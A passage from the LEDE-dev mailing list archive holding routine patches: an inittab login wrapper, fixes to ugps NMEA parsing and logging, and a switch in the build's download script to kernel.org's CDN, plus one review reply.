- [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -w -f $RTC_DEV && \
+ [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -w $IN_UTC -f
$RTC_DEV && \
logger -t sysfixtime "saved '$(date)' to $RTC_DEV"
}
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] imx6: inittab: Use login.sh wrapper so we can configure console password
In dc92917 there was introduced login.sh wrapper which allows configuration of console passwords via UCI system ttylogin config option. Signed-off-by: Petr Štetiar --- target/linux/imx6/base-files/etc/inittab | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/target/linux/imx6/base-files/etc/inittab b/target/linux/imx6/base-files/etc/inittab index a6c0bc8..b944a93 100644 --- a/target/linux/imx6/base-files/etc/inittab +++ b/target/linux/imx6/base-files/etc/inittab @@ -1,4 +1,4 @@ ::sysinit:/etc/init.d/rcS S boot ::shutdown:/etc/init.d/rcS K shutdown -::askconsole:/bin/ash --login -tty1::askfirst:/bin/ash --login +::askconsole:/usr/libexec/login.sh +tty1::askfirst:/usr/libexec/login.sh -- 1.9.1 ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] ugps: Simplify and fix position computation from GPRMC sentence
Current code parses following GPRMC
$GPRMC,071305.0,A,5207.76855,N,02104.022546,E,0.0,,270816,0.0,E,A*18
as
position: 52.117947 21.67042
with this fix it's being parsed correctly as
position: 52.129475 21.067041
Fixes https://github.com/lede-project/source/issues/279
Signed-off-by: Petr Štetiar
Tested-by: Cezary Jackiewicz
---
nmea.c | 58 ++
1 file changed, 22 insertions(+), 36 deletions(-)
diff --git a/nmea.c b/nmea.c
index 31e0168..1a7ac27 100644
--- a/nmea.c
+++ b/nmea.c
@@ -31,6 +31,7 @@
#include
#include
#include
+#include
#include
#include
@@ -112,42 +113,27 @@ nmea_rmc_cb(void)
ERROR("lat/lng have invalid string length %d<9, %d<10\n",
strlen(nmea_params[3].str), strlen(nmea_params[5].str));
} else {
- int latd, latm, lats;
- int lngd, lngm, lngs;
- float flats, flngs;
- DEBUG(4, "position: %s, %s\n",
- nmea_params[3].str, nmea_params[5].str);
- latm = atoi(&nmea_params[3].str[2]);
- nmea_params[3].str[2] = '\0';
- latd = atoi(nmea_params[3].str);
- lats = atoi(&nmea_params[3].str[5]);
- if (*nmea_params[4].str != 'N')
- latm *= -1;
-
- lngm = atoi(&nmea_params[5].str[3]);
- nmea_params[5].str[3] = '\0';
- lngd = atoi(nmea_params[5].str);
- lngs = atoi(&nmea_params[5].str[6]);
- if (*nmea_params[6].str != 'E')
- lngm *= -1;
-
- flats = lats;
- flats *= 60;
- flats /= 1;
-
- flngs = lngs;
- flngs *= 60;
- flngs /= 1;
-
-#define ms_to_deg(x, y) (((x * 100) + y) / 60)
-
- DEBUG(4, "position: %d°%d.%04d, %d°%d.%04d\n",
- latd, latm, lats, lngd, lngm, lngs);
- DEBUG(4, "position: %d°%d'%.1f\" %d°%d'%.1f\"\n",
- latd, latm, flats, lngd, lngm, flngs);
-
- snprintf(latitude, sizeof(latitude), "%d.%04d", latd,
ms_to_deg(latm, lats));
- snprintf(longitude, sizeof(longitude), "%d.%04d", lngd,
ms_to_deg(lngm, lngs));
+ float minutes;
+ float degrees;
+ float lat = strtof(nmea_params[3].str, NULL);
+ float lon = strtof(nmea_params[5].str, NULL);
+
+ if (*nmea_params[4].str == 'S')
+ lat *= -1.0;
+ if (*nmea_params[6].str == 'W')
+ lon *= -1.0;
+
+ degrees = floor(lat / 100.0);
+ minutes = lat - (degrees * 100.0);
+ lat = degrees + minutes / 60.0;
+
+ degrees = floor(lon / 100.0);
+ minutes = lon - (degrees * 100.0);
+ lon = degrees + minutes / 60.0;
+
+ snprintf(latitude, sizeof(latitude), "%f", lat);
+ snprintf(longitude, sizeof(longitude), "%f", lon);
+
DEBUG(3, "position: %s %s\n", latitude, longitude);
gps_timestamp();
}
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH ugps 6/7] Show more useful error message if we can't open GPS device
Signed-off-by: Petr Štetiar
---
nmea.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/nmea.c b/nmea.c
index 5a691b9..4d9cb90 100644
--- a/nmea.c
+++ b/nmea.c
@@ -30,6 +30,7 @@
#include
#include
#include
+#include
#include
#include
@@ -314,7 +315,7 @@ nmea_open(char *dev, struct ustream_fd *s, speed_t speed)
tty = open(dev, O_RDWR | O_NOCTTY | O_NONBLOCK);
if (tty < 0) {
- ERROR("%s: device open failed\n", dev);
+ ERROR("%s: device open failed: %s\n", dev, strerror(errno));
return -1;
}
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH ugps 2/7] Switch to ulog for logging and add few commandline params
Signed-off-by: Petr Štetiar
---
log.h | 17 +++--
main.c | 46 ++
nmea.c | 20 ++--
3 files changed, 59 insertions(+), 24 deletions(-)
diff --git a/log.h b/log.h
index b8ae621..bf86f1e 100644
--- a/log.h
+++ b/log.h
@@ -15,18 +15,15 @@
#ifndef __LOG_H
#define __LOG_H
-#include
-#include
+#include
-#define LOG(fmt, ...) do { \
- syslog(LOG_INFO, fmt, ## __VA_ARGS__); \
- fprintf(stderr, "ugps: "fmt, ## __VA_ARGS__); \
- } while (0)
+#define DEBUG(level, fmt, ...) do { \
+ if (debug >= level) { \
+ ulog(LOG_DEBUG, fmt, ## __VA_ARGS__); \
+ } } while (0)
-#define ERROR(fmt, ...) do { \
- syslog(LOG_ERR, fmt, ## __VA_ARGS__); \
- fprintf(stderr, "ugps: "fmt, ## __VA_ARGS__); \
- } while (0)
+#define LOG ULOG_INFO
+#define ERROR ULOG_ERR
extern unsigned int debug;
diff --git a/main.c b/main.c
index 29b341b..87d069b 100644
--- a/main.c
+++ b/main.c
@@ -27,9 +27,11 @@
#include "log.h"
#include "nmea.h"
+unsigned int debug;
static struct ustream_fd stream;
static struct ubus_auto_conn conn;
static struct blob_buf b;
+static char *ubus_socket;
struct timespec stamp = { 0 };
void
@@ -89,22 +91,58 @@ ubus_connect_handler(struct ubus_context *ctx)
}
static int
-usage(void)
+usage(const char *prog)
{
- LOG("ugps \n");
+ fprintf(stderr, "Usage: %s [options] \n"
+ "Options:\n"
+ " -sPath to ubus socket\n"
+ " -d Enable debug messages\n"
+ " -S Print messages to stdout\n"
+ "\n", prog);
return -1;
}
int
main(int argc, char ** argv)
{
+ int ch;
+ char *device = NULL;
+ char *dbglvl = getenv("DBGLVL");
+ int ulog_channels = ULOG_KMSG;
signal(SIGPIPE, SIG_IGN);
- if (argc != 2)
- return usage();
+ if (dbglvl) {
+ debug = atoi(dbglvl);
+ unsetenv("DBGLVL");
+ }
+
+ while ((ch = getopt(argc, argv, "d:D:s:S")) != -1) {
+ switch (ch) {
+ case 's':
+ ubus_socket = optarg;
+ break;
+ case 'd':
+ debug = atoi(optarg);
+ break;
+ case 'S':
+ ulog_channels = ULOG_STDIO;
+ break;
+ default:
+ return usage(argv[0]);
+ }
+ }
+
+ if (argc - optind < 1) {
+ fprintf(stderr, "ERROR: missing device parameter\n");
+ return usage(argv[0]);
+ }
+
+ device = argv[optind];
+ ulog_open(ulog_channels, LOG_DAEMON, "ugps");
uloop_init();
+ conn.path = ubus_socket;
conn.cb = ubus_connect_handler;
ubus_auto_connect(&conn);
nmea_open(argv[1], &stream, B4800);
diff --git a/nmea.c b/nmea.c
index 438de9d..05c904d 100644
--- a/nmea.c
+++ b/nmea.c
@@ -60,7 +60,7 @@ nmea_txt_cb(void)
if (nmea_params[3].num < 0 || nmea_params[3].num > 2)
nmea_params[3].num = 0;
- LOG("%s: %s\n", ids[nmea_params[3].num], nmea_params[4].str);
+ DEBUG(3, "%s: %s\n", ids[nmea_params[3].num], nmea_params[4].str);
}
static void
@@ -71,7 +71,7 @@ nmea_rmc_cb(void)
if (*nmea_params[2].str != 'A') {
gps_valid = 0;
- fprintf(stderr, "waiting for valid signal\n");
+ DEBUG(4, "waiting for valid signal\n");
return;
}
@@ -89,7 +89,7 @@ nmea_rmc_cb(void)
struct timeval cur;
strftime(tmp, 256, "%D %02H:%02M:%02S", &tm);
- LOG("date: %s UTC\n", tmp);
+ DEBUG(3, "date: %s UTC\n", tmp);
tv.tv_sec -= timezone;
if (daylight)
@@ -113,7 +113,7 @@ nmea_rmc_cb(void)
int latd, latm, lats;
int lngd, lngm, lngs;
float flats, flngs;
- LOG("position: %s, %s\n",
+ DEBUG(4, "position: %s, %s\n",
nmea_params[3].str, nmea_params[5].str);
latm = atoi(&nmea_params[3].str[2]);
nmea_params[3].str[2] = '\0';
@@ -139,14 +139,14 @@ nmea_rmc_cb(void)
#define ms_to_deg(x, y) (((x * 1) + y) / 60)
- LOG("position: %d°%d.%04d, %d°%d.%04d\n",
+ DEBUG(4, "position: %d°%d.%04d, %d°%d.%04d\n",
latd, latm, lats,
[LEDE-DEV] [PATCH ugps 4/7] Use strsep for NMEA message tokenization
strtok doesn't parse correctly following message:
$GPGSA,A,1,,,*1E
Resulting in "datagram has wrong parameter count".
Signed-off-by: Petr Štetiar
---
nmea.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/nmea.c b/nmea.c
index 05c904d..3646a36 100644
--- a/nmea.c
+++ b/nmea.c
@@ -221,13 +221,13 @@ static int
nmea_tokenize(char *msg)
{
int cnt = 0;
- char *tok = strtok(msg, ",");
+ char *tok = strsep(&msg, ",");
while (tok && cnt < MAX_NMEA_PARAM) {
nmea_params[cnt].str = tok;
nmea_params[cnt].num = atoi(tok);
cnt++;
- tok = strtok(NULL, ",");
+ tok = strsep(&msg, ",");
}
return cnt;
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH ugps 7/7] Allow bigger lat/lng numbers in RMC message
It works now with following message:
$GPRMC,122536.0,A,4350.237769,N,01826.423315
Signed-off-by: Petr Štetiar
---
nmea.c | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/nmea.c b/nmea.c
index 4d9cb90..fecdef8 100644
--- a/nmea.c
+++ b/nmea.c
@@ -108,8 +108,9 @@ nmea_rmc_cb(void)
}
}
- if (strlen(nmea_params[3].str) != 9 || strlen(nmea_params[5].str) !=
10) {
- ERROR("lat/lng have invalid string length\n");
+ if (strlen(nmea_params[3].str) < 9 || strlen(nmea_params[5].str) < 10) {
+ ERROR("lat/lng have invalid string length %d<9, %d<10\n",
+ strlen(nmea_params[3].str), strlen(nmea_params[5].str));
} else {
int latd, latm, lats;
int lngd, lngm, lngs;
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH ugps 0/7] Few fixes and additions
Hi, this patch series is result of my work on ugps while I was adding support for my Quectel EC20 miniPCIe device. -- ynezz Petr Štetiar (7): cmake: Add proper library and include files search logic for dependecies Switch to ulog for logging and add few commandline params Bail out if we can't find GPS device Use strsep for NMEA message tokenization Fix typo in error message Show more useful error message if we can't open GPS device Allow bigger lat/lng numbers in RMC message CMakeLists.txt | 10 +++--- log.h | 17 +++-- main.c | 51 ++- nmea.c | 34 ++ 4 files changed, 78 insertions(+), 34 deletions(-) -- 1.9.1 ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH ugps 5/7] Fix typo in error message
Signed-off-by: Petr Štetiar
---
nmea.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/nmea.c b/nmea.c
index 3646a36..5a691b9 100644
--- a/nmea.c
+++ b/nmea.c
@@ -248,7 +248,7 @@ nmea_process(char *a)
return;
if (nmea_verify_checksum(a)) {
- ERROR("nmea message has invlid checksum\n");
+ ERROR("nmea message has invalid checksum\n");
return;
}
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH ugps 3/7] Bail out if we can't find GPS device
Signed-off-by: Petr Štetiar --- main.c | 5 - 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/main.c b/main.c index 87d069b..6ff4c17 100644 --- a/main.c +++ b/main.c @@ -145,7 +145,10 @@ main(int argc, char ** argv) conn.path = ubus_socket; conn.cb = ubus_connect_handler; ubus_auto_connect(&conn); - nmea_open(argv[1], &stream, B4800); + + if (nmea_open(device, &stream, B4800) < 0) + return -1; + uloop_run(); uloop_done(); -- 1.9.1 ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH ugps 1/7] cmake: Add proper library and include files search logic for dependecies
Signed-off-by: Petr Štetiar
---
CMakeLists.txt | 10 +++---
1 file changed, 7 insertions(+), 3 deletions(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
index 326e649..7fe7a16 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -7,15 +7,19 @@ SET(CMAKE_SHARED_LIBRARY_LINK_C_FLAGS "")
SET(SOURCES main.c nmea)
-SET(LIBS ubox ubus)
-
IF(DEBUG)
ADD_DEFINITIONS(-DDEBUG -g3)
ENDIF()
+FIND_LIBRARY(ubus NAMES ubus)
+FIND_LIBRARY(ubox NAMES ubox)
+FIND_PATH(ubus_include_dir NAMES libubus.h)
+FIND_PATH(ubox_include_dir NAMES libubox/usock.h)
+INCLUDE_DIRECTORIES(${ubox_include_dir} ${ubus_include_dir})
+
ADD_EXECUTABLE(ugps ${SOURCES})
-TARGET_LINK_LIBRARIES(ugps ${LIBS})
+TARGET_LINK_LIBRARIES(ugps ${ubox} ${ubus})
INSTALL(TARGETS ugps
RUNTIME DESTINATION sbin
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH v2] scripts/download.pl: Use CDN for kernel downloads
More info at https://www.kernel.org/introducing-fastly-cdn.html
Signed-off-by: Petr Štetiar
---
Changes since v1:
* use CDN first then use directly regular www.kernel.org
* remove FTP mirror, it's same host as www so likely to fail also
scripts/download.pl | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/scripts/download.pl b/scripts/download.pl
index 548eb7a..c31d9bd 100755
--- a/scripts/download.pl
+++ b/scripts/download.pl
@@ -207,8 +207,8 @@ foreach my $mirror (@ARGV) {
push @extra, "$extra[0]/longterm/v$1";
}
foreach my $dir (@extra) {
- push @mirrors, "https://kernel.org/pub/$dir";;
- push @mirrors, "ftp://kernel.org/pub/$dir";;
+ push @mirrors, "https://cdn.kernel.org/pub/$dir";;
+ push @mirrors, "https://www.kernel.org/pub/$dir";;
}
} elsif ($mirror =~ /^\@GNOME\/(.+)$/) {
push @mirrors, "http://ftp.gnome.org/pub/GNOME/sources/$1";;
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH] scripts/download.pl: Use CDN for kernel downloads
Felix Fietkau [2016-05-23 11:11:50]: > On 2016-05-23 10:29, Bjørn Mork wrote: > > Petr Štetiar writes: > > > >> - push @mirrors, "https://kernel.org/pub/$dir";; > >> + push @mirrors, "https://cdn.kernel.org/pub/$dir";; > >>push @mirrors, "ftp://kernel.org/pub/$dir";; > > > > Not sure that is a good idea at this point. At least here, kernel.org > > has IPv6 records while cdn.kernel.org does not: > > So why not add both? :) If I understand it correctly, the code is going to use another mirror only if the current mirror fails. In my case the download was awfully slow, but didn't failed. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] scripts/download.pl: Use CDN for kernel downloads
More info at https://www.kernel.org/introducing-fastly-cdn.html
Signed-off-by: Petr Štetiar
---
scripts/download.pl | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/scripts/download.pl b/scripts/download.pl
index 548eb7a..ec7067b 100755
--- a/scripts/download.pl
+++ b/scripts/download.pl
@@ -207,7 +207,7 @@ foreach my $mirror (@ARGV) {
push @extra, "$extra[0]/longterm/v$1";
}
foreach my $dir (@extra) {
- push @mirrors, "https://kernel.org/pub/$dir";;
+ push @mirrors, "https://cdn.kernel.org/pub/$dir";;
push @mirrors, "ftp://kernel.org/pub/$dir";;
}
} elsif ($mirror =~ /^\@GNOME\/(.+)$/) {
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
